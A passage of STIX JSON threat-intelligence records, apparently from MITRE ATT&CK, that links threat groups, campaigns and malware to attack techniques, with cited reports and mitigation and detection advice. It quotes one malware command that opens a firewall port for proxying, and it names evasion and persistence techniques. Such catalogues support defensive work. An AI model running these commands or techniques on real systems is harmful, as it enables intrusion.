controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--747f1dcd-7af4-4a38-983b-e2d6108af677","created":"2023-03-20T19:41:30.645Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT29 Nov 2018","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"},{"source_name":"Microsoft Unidentified Dec 2018","description":"Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.","url":"https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T17:36:59.248Z","description":"For [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors used [Cobalt Strike](https://attack.mitre.org/software/S0154) configured with a modified variation of the publicly available Pandora Malleable C2 Profile.(Citation: FireEye APT29 Nov 2018)(Citation: Microsoft Unidentified Dec 2018)","relationship_type":"uses","source_ref":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74859e2a-7a8f-4b87-b75c-7286b3de685c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"},{"url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","source_name":"FireEye FIN7 Aug 2018"}],"modified":"2019-06-30T23:13:18.530Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) malware has created Registry Run and RunOnce keys to establish persistence, and has also added items to the Startup folder.(Citation: FireEye FIN7 April 2017)(Citation: FireEye FIN7 Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--748cd538-d2a0-470c-b6fb-68e73b8069b1","created":"2023-01-11T21:35:37.079Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes AvosLocker Jul 2021","description":"Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T16:32:51.978Z","description":"[AvosLocker](https://attack.mitre.org/software/S1053) has deobfuscated XOR-encoded strings.(Citation: Malwarebytes AvosLocker Jul 2021)","relationship_type":"uses","source_ref":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7494c5ff-db1c-4bba-8ec0-8a6678b28900","created":"2023-03-17T15:02:16.319Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T15:02:16.319Z","description":"Preemptively search through communication services to find shared unsecured credentials. Searching for common patterns like \"password is \", “password=” and take actions to reduce exposure when found. ","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--9664ad0e-789e-40ac-82e2-d7b17fbe8fb3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--74953cb2-4d72-487b-959b-57602ce28d07","created":"2022-09-22T18:23:18.242Z","revoked":false,"external_references":[{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T18:23:18.242Z","description":"During [C0011](https://attack.mitre.org/campaigns/C0011), [Transparent Tribe](https://attack.mitre.org/groups/G0134) sent emails containing a malicious link to student targets in India.(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"campaign--b4e5a4a9-f3be-4631-ba8f-da6ebb067fac","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74972bfd-6910-4602-8327-5cc6db07e48a","type":"relationship","created":"2020-08-04T16:03:24.327Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Sodin July 2019","url":"https://securelist.com/sodin-ransomware/91473/","description":"Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020."},{"source_name":"Cylance Sodinokibi July 2019","url":"https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html","description":"Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."},{"source_name":"Secureworks GandCrab and REvil September 2019","url":"https://www.secureworks.com/blog/revil-the-gandcrab-connection","description":"Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."},{"source_name":"McAfee Sodinokibi October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020."},{"source_name":"Intel 471 REvil March 2020","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."},{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2021-04-06T14:42:52.646Z","description":"[REvil](https://attack.mitre.org/software/S0496) has the ability to identify specific files and directories that are not to be encrypted.(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--749b0a26-fbf8-4858-a545-5faca77adead","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-20T15:42:34.419Z","description":"[Socksbot](https://attack.mitre.org/software/S0273) can write and execute PowerShell scripts.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e494ad79-37ee-4cd0-866b-299c521d8b94","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--749e3cb9-316a-4f97-8554-d83a9e19dfc5","type":"relationship","created":"2019-02-18T20:33:58.946Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019.","url":"https://unit42.paloaltonetworks.com/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/","source_name":"Palo Alto OilRig Sep 2018"}],"modified":"2020-03-28T21:46:54.669Z","description":"[BONDUPDATER](https://attack.mitre.org/software/S0360) persists using a scheduled task that executes every minute.(Citation: Palo Alto OilRig Sep 2018)","relationship_type":"uses","source_ref":"malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--749fb1ed-d73c-4317-8c0f-6c059cff094f","type":"relationship","created":"2020-06-19T20:04:12.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-19T20:04:12.136Z","description":"[APT32](https://attack.mitre.org/groups/G0050) malware has used rundll32.exe to execute an initial infection process.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--74a1161a-eff1-4112-90a1-f3c2f3f544bd","created":"2022-04-08T15:56:41.127Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for modifications of PATH environment variable Registry keys such as HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\\Path. An adversary can add a new directory or list of directories before other locations where programs can be executed from.","modified":"2022-04-08T15:56:41.127Z","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74a15877-d310-4be1-813d-4ee9cbd603b7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2019-04-25T12:37:45.611Z","description":"[Rancor](https://attack.mitre.org/groups/G0075) has downloaded additional malware, including by using [certutil](https://attack.mitre.org/software/S0160).(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74a7cfb9-2b2a-44c2-b5ea-0327fe9e17e9","type":"relationship","created":"2021-07-07T01:33:57.634Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-09-20T17:42:18.636Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to block unsigned/untrusted executable files (such as .exe, .dll, or .scr) from running from USB removable drives. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74ade1b3-d2d8-4537-87da-41f54346a149","type":"relationship","created":"2020-05-20T19:54:06.596Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-29T13:31:07.831Z","description":"[USBferry](https://attack.mitre.org/software/S0452) can detect the infected machine's network topology using ipconfig and arp.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"malware--75bba379-4ba1-467e-8c60-ec2b269ee984","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--74afa3c9-bfa3-48a3-85bf-b28e5ecd00b7","created":"2022-09-29T18:50:51.636Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T20:05:48.368Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used a DLL named `D8B3.dll` that was injected into the Winlogon process.(Citation: DFIR Conti Bazar Nov 2021) ","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--74b6a6bc-5cd9-4699-aaff-a8984552e18b","created":"2024-05-17T13:57:12.264Z","revoked":false,"external_references":[{"source_name":"HP RaspberryRobin 2024","description":"Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.","url":"https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T13:57:12.264Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) can use legitimate, signed EXE files paired with malicious DLL files to load and run malicious payloads while bypassing defenses.(Citation: HP RaspberryRobin 2024)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74bb0ae9-589c-4479-9bd5-b9a71a20e82d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT HARDRAIN March 2018","description":"US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf"}],"modified":"2020-03-20T02:27:21.759Z","description":"[HARDRAIN](https://attack.mitre.org/software/S0246) uses the command cmd.exe /c netsh firewall add portopening TCP 443 \"adp\" and makes the victim machine function as a proxy server.(Citation: US-CERT HARDRAIN March 2018)","relationship_type":"uses","source_ref":"malware--bd0536d7-b081-43ae-a773-cfb057c5b988","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74bc9883-6d48-4e68-bc61-1fea450e89e7","type":"relationship","created":"2020-10-05T19:54:22.903Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-10-09T16:02:39.440Z","description":"The [PipeMon](https://attack.mitre.org/software/S0501) installer has modified the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\Windows x64\\Print Processors to install [PipeMon](https://attack.mitre.org/software/S0501) as a Print Processor.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74c1fa45-5ac3-47a0-a442-2cc5e89f7b4c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-16T16:57:38.871Z","description":"[JPIN](https://attack.mitre.org/software/S0201) can download files and upgrade itself.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--74cc85f8-594d-428b-a44a-5ede87df0ad9","created":"2020-08-27T17:46:41.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:16.573Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has renamed malware to GoogleUpdate.exe and WinRAR to jucheck.exe, RecordedTV.ms, teredo.tmp, update.exe, and msadcs1.exe.(Citation: Cycraft Chimera April 2020)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74cfafb4-a4ae-4237-bd0b-57dbb14fa7c2","type":"relationship","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.844Z","description":"Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).","source_ref":"x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74dbd1f0-759a-46a1-a598-5c76b2035aef","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Monitor for logging, messaging, and other artifacts highlighting the health of host sensors (ex: metrics, errors, and/or exceptions from logging applications)","source_ref":"x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6","target_ref":"attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--74dcdf15-ebdf-4faa-8316-cbf1429a8cea","created":"2022-10-13T16:08:14.749Z","revoked":false,"external_references":[{"source_name":"NCC Group TA505","description":"Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022.","url":"https://research.nccgroup.com/2020/11/18/ta505-a-brief-history-of-their-time/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T16:08:14.749Z","description":"(Citation: NCC Group TA505)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--74e09d88-36e4-4332-9a25-3d5f19db1bfb","created":"2024-07-25T20:32:33.608Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2023","description":"Facundo Muñoz. (2023, April 26). Evasive Panda APT group delivers malware via updates for popular Chinese software. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T20:32:33.608Z","description":"[MgBot](https://attack.mitre.org/software/S1146) includes modules capable of gathering information from USB thumb drives and CD-ROMs on the victim machine given a list of provided criteria.(Citation: ESET EvasivePanda 2023)","relationship_type":"uses","source_ref":"malware--a36eedea-9523-4abb-96e8-205f171ee763","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--74e1dbd9-baad-488f-9b30-4430420e15d3","created":"2019-06-17T18:49:30.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro TropicTrooper 2015","description":"Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.","url":"https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:24:22.264Z","description":"[YAHOYAH](https://attack.mitre.org/software/S0388) decrypts downloaded files before execution.(Citation: TrendMicro TropicTrooper 2015)","relationship_type":"uses","source_ref":"malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74e433ec-0c52-42f2-b0d4-3e1f3a56b419","type":"relationship","created":"2019-06-13T16:04:04.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T14:48:46.279Z","description":"Use multi-factor authentication for user and privileged accounts.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74e737cf-67fb-4f80-ac4e-0ddff90b6f8e","type":"relationship","created":"2017-05-31T21:33:27.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"}],"modified":"2019-06-28T14:59:17.642Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used tools to exploit Windows vulnerabilities in order to escalate privileges. The tools targeted CVE-2013-3660, CVE-2011-2005, and CVE-2010-4398, all of which could allow local users to access kernel-level 